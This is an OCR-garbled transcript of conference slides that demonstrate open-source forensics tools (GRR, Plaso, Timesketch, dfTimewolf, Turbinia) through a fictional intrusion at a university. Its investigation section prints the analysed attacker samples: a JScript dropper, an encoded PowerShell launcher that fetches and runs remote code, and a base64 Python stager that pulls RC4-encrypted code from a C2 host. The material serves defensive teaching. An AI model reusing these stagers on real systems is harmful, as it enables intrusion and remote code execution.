THE STORY OF GREENDALE

FOSS tools to automate your DFIR process



WHY ARE YOU HERE]

e This talk will cover a big chunk of our forensics toolkit
o It's all Free and Open Source Software

e Showcase how they work together through a fictional scenario

we’ll talk about:

e GRR e dfTimewolf

e Plaso e Turbinia
e Timesketch @




WHY AM L HERE]

Thomas Chopitea y@tomchop_

DFIR @ Google

e | write code, | use it to hunt bad guys
e dfTimewolf core dev

e Try to automate myself out of a job




L HOOSE YOUR oWN

-

Source: cyber-gtfo.club



[HE SCENARIO

DISCLAIMER
None of what I’'m about to talk about is true

(except for the demos)



THE VICTIM

Greendale Poly - the most famous fictitious university
Everyone’s on semester break when... someone gets a tip.

Suspicious domain spotted:

Greendale

grendale.xyz Wz
Polytechnique
'::'.Y‘:‘:‘
No proxy, no logs. Just GRR...



GRR - GRR RAPID RESPONSE

e Agent-based remote forensics tool

e Cross-platform - works on Windows, Linux, macOS
e Focused or fleet-wide collection (“hunts”)

e File collection

e Artifact collection

> GRR

RAPID RESPONSE



FORENSIC ARTIFACTS

e Machine-readable repo of e github.com/ForensicArtifacts/
artifacts

name: UsersShellHistory
doc: Common unix user shell history files.
sources:
- type: FILE
attributes:

name: AllUsersShellHistory
oc: Common shell history files for root and users.

ources:

paths: - type: ARTIFACT_GROUP
- '/%%users.homedir%%/.bash_history' attributes:
- '/%%users.homedir%%/.sh_history' lames :
- '/%%users.homedirss/.zhistory" - UsersShellHistory
- '/%%users.homedir%%/.zsh_history' - RootUserShellHistory
labels: [History Files] labels: [History Files]

supported_os: [Linux, Darwin] supported_os: [Linux, Darwin]


https://github.com/ForensicArtifacts/

LOGTIMELINE / PLASO

e Recursively parses everything in your
filesystem and extracts timestamp
information

e Builds a system timeline from this
information




timesketch

e Forensic timeline visualization tool e Plays well with
timesketch tom  Logout plaso

© Overview Q Explore & Stories @ Views © Timelines

data_type:"bash:history:command"

Y Filters  lul Charts Starred B Save view Saved views %  Search templates

Bash execution ‘ M u |.t| = u S e r,

You are exploring in the context of a search template.

Click here to go back to explore view. o
multi-case,
multi-timeline

31 events (0.009s) & Export v Toggle all

2018-06-12T14:17:25+00:00 [Content Modification Time] Command executed: curl 'http://localhost:8000/api/config/binaries/EXECUTABLE/linux/installers/grr_3.2.2.0_amd64.deb’ -H 'Con..
2018-06-12T14:17:35+00:00 [Content Modification Time] Command executed: curl 'http://grr-ubuntu:8000/api/config/binaries/EXECUTABLE/linux/installers/grr_3.2.2.0_amdé4.deb’ -H 'Co..
2018-06-12T14:17:47+00:00 [Content Modification Time] Command executed: curl 'http://grr-ubuntu:8000/api/config/binaries/EXECUTABLE/linux/installers/grr_3.2.2.0_amd64.deb' -H 'Co...
2018-06-12T14:17:56+00:00 [Content Modification Time] Command executed: curl *http://grr-ubuntu:8000/api/config/binaries/EXECUTABLE/linux/installers/grr_3.2.2.0
2018-06-12T14:18:50+00:00 [Content Modification Time] Command executed: curl 'http:/grr-ubuntu:8000/api/config/binaries/EXECUTABLE/linux/installers/grr_3.2.2.0_amdé4.deb’ -H 'Co..
2018-06-12T14:18:53+00:00 @ [Content Modification Time] Command executed: curl 'http://grr-ubuntu:8000/api/config/binaries/EXECUTABLE/linux/installers/grr_3.2.2.0_amdé4.deb' -H 'Co.

2018-06-12T14:18:56+0( [Content Modification Time] Command executed: curl 'http://grr-ubuntu:8000/api/config/binaries/EXECUTABLE/linux/installers/grr_3.2.2.0_amdé4.deb’ -H 'Co...




LOGTIMELINE / DFIMEWOLF

e CLI utility - the Glue between different tools
e Modules (e.g. collectors, processors, exporters)

e Recipes (directions on how to chain Modules)




LOGTIMELINE / DFIMEWOLF

Recipe name Recipe parameters

A A
\( \

f
$ dftimewolf grr artifact hosts \tomchop.greendale.xyz’\ 1234;51 -—-sketch id
Y Y Y

Target GRR host Comment  Existing sketch ID (optional)
tomchop.greendale.xyz /tmp/C.123 /tmp/C.123.plaso
Time
GRR Plaso
sketch
http://timesketch.greendale.edu/sketch/ ‘//////

Timeline description: 12345



contents = {

'name': 'local plaso’,
'short description': short description,
'modules': [{
'name': 'FilesystemCollector',
'args': {
'paths': '@ paths',
}l
boo A
'name': 'LocalPlasoProcessor',
'args': {
'timezone': @ timezone,
}I
oo A
'name': 'TimesketchExporter',
'args': {
'endpoint': '@ ts_endpoint’',
'username': '@ ts_username’',
'password': '@ ts_password',
'incident id': '@ incident id',

'sketch id': 'Q sketch id’,



HONING IN ON THE INITIALTIP. ..

e Typosquatting on grendale.xyz

e Looks targeted... Let’s look for browsing history artifacts



ANATOMY OF A GRR HUNT




DEMO] HOMING IN ON THE INITIAL TIP
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http://www.youtube.com/watch?v=-75_Lcj0ILQ

ANATOMY OF A GRR HUNT

dfTimewolf e

\ H:12345.zip

e timeline.plaso @




DEMO HOMING IN ON THE INITIAL TIP. .

Sumning nodule (PRt Desndooder
Wrote ceslts of WIZZEFCIAL Ve /g tap TSN
Kamning sodule Low|PlosePrecesser

199 File: Jomn/tmpOINI B2 /plese. bay
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http://www.youtube.com/watch?v=Paayzw4I9yE

[DEMO] HOMING IN ON THE INITIAL TIP. ..



http://www.youtube.com/watch?v=_806M1O1qXM

WHAT WE KNOW SO FAR

e Download of grendale.xyz/greendale/academic_calendar.zip

e The archive contains a calendar.js file...



JAVASCRIPT CALENDAR

OR STAGEIDROPPER?



var osysinfo = new ActiveXObject ("ADSystemInfo") ;

domain = osysinfo.DomainDNSName.toLowerCase () ;
var i1sGreendale = domain.indexOf ("greendale") ;
if (isGreendale != -1) {

var file = "tffb://efgpgzf-sdggzpmxqg.jkl/sdggzpmxqg/eqogdq.eodubf";

var path="$qgzh:gegdbdaruxg+'\\MbbPmfm\\Damyuzs\\Yuodaecarf\\Iuzpaie\\Efmdf
Ygzg\\Bdasdmye\\Efmdfgb\\wggb.nmf'";

var payload = "BaiqdEtgxx.qgjq (Zgi-Anvqgof Ekefqy.Zgf.IgnOxugzf) .Paizxampruxqg('" +
file + "'," + path + ")";

downloadAndExec (payload, path);
i



var osysinfo = new ActiveXObject ("ADSystemInfo") ;
domain = osysinfo.DomainDNSName.toLowerCase () ;

var file = "http://student-greendale.xyz/greendale/secure.script";

var path="S$env:userprofile+'\AppData\Roaming\[...]\Startup\keep.bat";

var payload = "PowerShell.exe (New-Object System.Net.WebClient) .Downloadfile('"
path + "'," + file + ")";

downloadAndExec (payload, path);



DIGGING A BIT DEEPER

e Turns out the file was some kind of JS dropper. For what?

e Let’s examine the second stage payload:
o JS calls student-greendale.xyz, persistence in Startup\keep.bat

e Let’s find execution and persistence artifacts
o WindowsPersistenceMechanisms
o WindowsUserRegistryFiles
o WindowsSystemRegistryFiles



DEMO NCE AND EXECUTION ARTIFACTS

Romcrapd ot (e w0 H $ dftimewol f gre_ortifoct hosts WIN-ALODQOTFRSY csecution check -rartifoces WindowsStert
wfol dera MadonsSystanklagl stryfiles WindossisorfegistryFiles - shetch (4 )

Puming sodule GRRArtifackCol Lector

Seorching for client: WIN-ALODCQOTFROV

CLEb7TNNGCI306e2 1 Found octive client

Found active clieot: C.G87659765¢T306e2

Climek lost soen: 2012-96-12T0E:32:15.0000 (0 slrutes ago)

System typw! Windows

Artifocts to be collectod: [U'WirdowsStortudalders', o NMindonsSystesfiegl stryFiles’, u'MindowstiserRegistryfiles®)

FIEERAZECF: Scneduled

FEESAZECF : Walting to Finish

FIERAAZECE: Complete

FiEEAA28(F ; Downlooding artifects

FrEERA2ECF: Downlooded: /gy top@FCELS/F (EEBAZBIF ip

Ruening sedule LocolPlasePrecesser

Log file: /tep/tap BLCXY/Pleso, leg

Puoning external commond: “logZtiselinn,py -q ~-stotes_view none --logfile Jtmp/tep DLEXY/plaso, log /tmp// tep DLEKY /200504 10500t S0
Widoe I3 1655, ploso /top/tepdF(E19°



http://www.youtube.com/watch?v=PQRaAiXDCIM

[DEMO] PERSISTENCE AND EXECUTION ARTIFACTS



http://www.youtube.com/watch?v=vwcWl5liKAs

KEEP. BAT CONTENTS

powershell.exe -NoP -sta -NonI -W Hidden -Enc
WwBTAFKAUWBUAGUATQAUAE4ARQBUACAAUWBFAFTIAVgBPpAGMAZQOBQAESAaQBOAFQATOBRAE4AAYOBNAEUAUgBAADOA
OgBFAHgAUAB1AEMAVAAXADAAMABDAES8ALgBROAGKkALgBVAEUAIAASACAAMAATACQAAWB]JADOATgBFAFCALOBPAGIA
agBFAEMAVAAGAFMAWOBZAFQARQBNAC4ATgRFAHQALgBXAGUAQUBDAEWAAQBIAG4AAdAATACQAJQAIACCATOBVAHOA
aQBsAGWAYQAVADUALgAWACAAKABXAGkALgBkAGS8AAwBZACAATGBUACAANGAUADEAOWAGAFCATWBXADYANAATACAA
VAByAGKAZABI1AG4AdAAVADCALgAWADSATIABYAHYAOgAXADEALgAWACKATIABsSAGKkAawBl1ACAARWBIAGMAawBVACCA
OwBbAFMAeQBzAHQAZQOBtACAATgBl1AHQALgBTAGUACgB2AGkAYWBI1AFAADWBPAGAAdABNAGEALGBhAGCAZQBYAFOA
OgAG6AFMAZQBYAHYAZQOBYAEMAZOBYAHQAaQBMAGKAYWBhAHQAZQOBWAGEADLABPAGQAYOBOAGKALWBUAEMAYQBSAGWA
YgBhAGMAawAgADOATIAB7ACQAJABYAHUAZQBO9ADSAJABXAEMALGBIAGUAYQOBKAGUAUgGRTAC4A4AQQBEAEQAKAANAFUA
CwB1AHTIALOBBAGCAZQBUAHQAIJWASACQAJQAPADSAJAB3AEMALgBOQAHIATWB4AFKATAAIACAAWWBTAFKAUWBUAEUA
bOAUAE4ARQBOAC4AAVWBFAGIAUgBIAFEAVOBIAFMAJABRAADOAOGBEAGUAZgBBAFUATABOAFCARQBIAFAACOBVAFgA
WQAT7ACQAVWBJAC4AUARYAE8AcABSACAAQWBYAGUAZABIAE4AVABPAGEATARZACAAPQAGAFsAUWBSAHMAVABIAGOA
LgBOAGUAJAAUAEMAUgBFAGQARQBUAFQASQBhAEWAQWBBAGMASABIAFOAOgAGAEQAZQOBMAGEAVOBSAFQATgBEFAHQA
dwBVAFIASWBDAHIAZQBEAGUATgBOAGKAYQBMAHMAOWAKAESAPQANACKANgAXAGQAPGRAAFYAJQOBMAGEADABeAHQA
VQBAADKATQAKAHOAMABRCAHgAPQA/AEOAMWBRAFkAagB3AEgACgANADSAJARPADOAMAATAFSAQWBOAGEACGBLAFOA
XQAKAGIAPQAOAFSAQWBOAGEACGBOAFOAXQAOACQAVWBJAC4ARABVAFCATgBsSAESAYOBKAFMAJABYAEKATgBNACgA
IgBoAHQAJABWAHMAOGAVACS8ADABIAGCAaQBOAGKALOQBhAHQAZQBI AHUACWBPAGAAZQOBZAHMADLOBhAG4ACWAUAGMA
bAB1AGIALWBpAGA4AZABRIAHgALgBhAHMACAAIACKkAKQAPAHWAJQB7ACQAXWALAGIAWABVAFIAJABLAFsAJABJACSA
KwAl1ACQAawAUAEWAZQBUAGCAVABIAFOATQA7AEKARQBYACAAKAAKAGIALOBKAES8AaQBUACCAIWAPAA==



[SYSTeM.NET.SERVicePOiNTMANagER] : :ExPeCT100COntinUE = 0; Swc=NEW-ObJECT
SYSTEM.NEt .WeBCLient; $u="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like
Gecko'; [System.Net.ServicePointManager] ::ServerCertificateValidationCallback =
{Strue}; SWC.HeadeRS.ADD ('User-Agent', Su); SwC.PrOxY =
[SYSTEm.NEt .WEbReQUeSt] : : DefAULtWEbProXY; $SWc.PrOxy.CredeNTialLs =
[SysTem.Net.CREJEnTIaLCAcHe] : :DefaUlTNEtwoRKCreDeNtials; $SK=")61d>]V%$£fal*tUR9!S$z0\x=?M3QY
JwHr';$1=0; [Char[]]Sb=([Char[]] ($SWc.DoWN1OadStrINg ("

"))) 1%{S_ -bXoRSK[$I++%Sk.LengTH] };IEX ($b-JOin''")



GIMME SOME L0CS!

® hxxp://grendale[.]xyz/greendale/academic calendar.zip

@ hxxp://grendale[.]xyz/greendale/secure.script (2d stage)

- Start Menu\Programs\Startup\keep.bat

¢ hxxps://legitimatebusinessmans[.]club (C2)






EVERYTHING 1§ FINE

e Few students fell for it; but we still have a hunch...

Index of /greendale

Name Last modified Size Description

a Parent Directory -
ﬁ academic calendar.zip 2018-02-16 20:00 1.0K
bash.sh 2018-02-17 22:14 1.8K
@ secure.script 2018-02-14 17:54 1.6K

Apache/2.4.18 (Ubuntu) Server at grendale xyz Port 80
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BASKH.SH CONTENTS

echo "import

sys,baseb64;exec (base64d.bbddecode ('WkdlbmpoWXFrb3dyVnQ09J0xLO11PUVpNIwppbXBvcnQgc31zLCBlcm
xsaWIy0289X19pbXBvcnRfXyh7MjondXJsbGliMicsMzondXJsbGliLlndlcXV1c3QnfVtzeXMudmVyc2lvbl 9pbm
ZvWzBdXSxmcm9tbGlzdD1bJ2J1aWxkX29wZW51ciddKS5idW1lsZF9vcGVuUZXIoKTtVQTONTWI96aWxsYS81LjAgKE
1hY21udG9zaDsgSW50ZWwgTWFj IE9TIFggMTAUMTE 7 IHJ207Q1LjApIEdl Y2t vLz IWMTAWMTAX IEZpcmVmb 3gvND
UuMCc7by5hZGRoZWFkZXJzPVsoJ1VzZXItQWd1lbnOnLFVBKVO7YT1vImOwZW40J2h0dHAGLY9sZWdpdGltYXR1Yn
VzaW51c3NtYW5zLmNsdWIvaWskzXguYXNwdykucmVhzZCgp0O2tleTOnanM7VHI1bHZxNVhbMIVMUH41ez4hX21dS0
A4bXI2ImYnOlMsaixvdXQ9cmFuZ2UoMjU2KSwWwLFtdCmZvciBpIGluIHJhbmdlKDI1INik6CiAgICBgPShgKlNbaVv
0rb3JkKGtleVtpdWx1bihrZXkpXSkpJdTI1INgogICAgULltpXSxTW2pdPVNbalOsUltpXQppPWoOMApmb3IgY2hhci
BpbiBhOgogICAgaT00aSsxKSUyNTYKICAGIGo9KGorUltpXSk1IMjU2CiAgICBTW21dLFNbal 09U1ltgXSxTW21dCi
AgICBvdAXQuYXBwWZW5KKGNocihvemQoY2hhcileUlsoUltpXStTW2pdKSUyNTZAdKSkKZXh1Yygndy5gb21luKG91dC
kpCg=="));" | python &

rm —-f "s$O"

exit



ZGunjhYgkowrVt="LKCYOQZM'
import sys,
urllib2;o= import ({2:'urllib2',3:'urllib.request'}[sys.version info[0]], fromlist=["'bu
ild opener']) .build opener();UA='Mozilla/5.0 (Macintosh; Intel Mac O0S X 10.11; rv:45.0)
Gecko/20100101
Firefox/45.0';o0.addheaders=[ ('User-Agent',UA)];a=0.open (
) .read () ; key="Jjs;Tyulvg5X[3ULP~%{>! i]K@8mr6.f';S,j,out=range(256),0, []

for 1 in range (256) :

J=(Jj+S[i]+ord(key[i%len (key)])) %256

S[i],S[J]1=S[31,S[1]
i=7=0
for char in a:

1= (1+1) %256

J=(j+S[i]) %256

S[i],S[31=S[31,S[1]

out.append (chr (ord(char) *S[(S[i]+S[]])%256]))
exec (''.join (out))



DEMO3 ) HAS THIS BEEN EXECUTED ANYWHERE!

S AftimenolF gry hunt _oreifocts AllUsersShellHistory comond execution

Rusning sodule (RBSntArtifocelolloctar
Artifects to be collocted: [u'AllUsarsShel I#istory”]

HICSSDIIR3: Mumt Created

Fecipe executed soccessfully. |

et tinmenat () eftimmolf § ]


http://www.youtube.com/watch?v=xQsUuRbPOKs

DEMO3 ) HAS THIS BEEN EXECUTED ANYWHERE!

Runing module GRRHAD0wLooder
Nrote results of MIG2I0SEET 1o /tan/LepAgriin/H 62308580, 2tp
Purning sodule LocolPMlasoProcessonr

Log file: Jowp/tepds Miv/pless. log

Raming externg] commond: “logltisgline.py -g —stotus view sone
e faldbe?35 . pland /teptapigriln®

§ dftisenalf gre nontresul ts ploso tinesketch HIGZINE589 bosh execution ~-sheech 14 31

—Logfi Le /o SO pLeno 10g 7t/ tap S AU/ Bf efbbiadt M TechJeos

r


http://www.youtube.com/watch?v=WMkX-2MU34w

[DEMOY HAS THIS BEEN EXECUTED ANYWHERE?
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http://www.youtube.com/watch?v=9KjhAK-A2jE

THE GREEN CLOUD

e One hit!
e Greendale has been migrating their infrastructure to the cloud....

e Can dfTimewolf help?



DEMO] CLOUD FORENSICS WITH DFTIMEWOLF

= hopt sef e $ ftimamolf gtp focensicd gremndale cloud gremdale-endlysis <<imtants gresndole-osein
funning mosule GoogleClowdCod lector

Your osalysis W adll be: gop-foremiica-va-gresadalp-analysts

Disk copy of greendole-odmin started. .


http://www.youtube.com/watch?v=iSG-WRCJKCo

QU TURBINIA

Also has a good logo

TL;DR - Automation of forensic analysis tools in the cloud
Forensic task scheduler

“Grab this piece of cloud evidence, run plaso on it, and dump results
in a cloud bucket”



FORENSICS IN THE CLOUD

plz copy disk

5
dfTimewolf N .
disk ID
3-copy
Iz forensicate
123.plaso Grab your dis =Py .

plaso file from

greendale-admin

gs://123.plaso




DEMO) SENDING THINGS T0 TIMESKETCH

O e H, ftinennd ) ¥t immod $ dftimenol F tisdetch pload | Starbisio/turtinio, plase

Bunmiog soduie FilesystenCollector
Rusning sodule TimesketchExporter
Now sketch crested: 55

Exporting timline to Sketch w%


http://www.youtube.com/watch?v=BAntV641FpM

DISASTER AVERTED!

e No traces of further lateral movement found.
o Plus, Greendale uses 2FA tokens for all sensitive access

e Attacker’s objective was likely to disrupt the launch of Greendale’s
new PhD program in AC flow study.



KEY TAKEAWAYS

Tools that you might have a place in your ecosystem
Used daily by IR teams at Google
Contributions are encouraged

Apache 2 license



WHAT ELSE CAN THESE T0OLS DO

e GRR

o Memory analysis, some host timelining, run custom Python scripts

e Plaso
o Parses A LOT of formats (probably not all of them!)

e dfTimewolf
o Chain any system with an API into your workflow

e Timesketch
o Histogram and heatmap view to view data differently, graphs

e Turbinia
o Repetitive, parallelizable tasks


https://demo.timesketch.org/sketch/3/explore/view/226/
https://demo.timesketch.org/sketch/3/graphs/

WHERE TO FIND US

GRR (= GRR dfTimewolf ‘3@/

github.com/gooale/qrr github.com/log2timeline/dftimewolf

github.com/log2timeline/plaso github.com/google/turbinia
timesketch

github.com/qgoodgle/timesketch



https://github.com/google/grr
https://github.com/log2timeline/plaso
https://github.com/google/timesketch
https://github.com/log2timeline/dftimewolf
https://github.com/google/turbinia

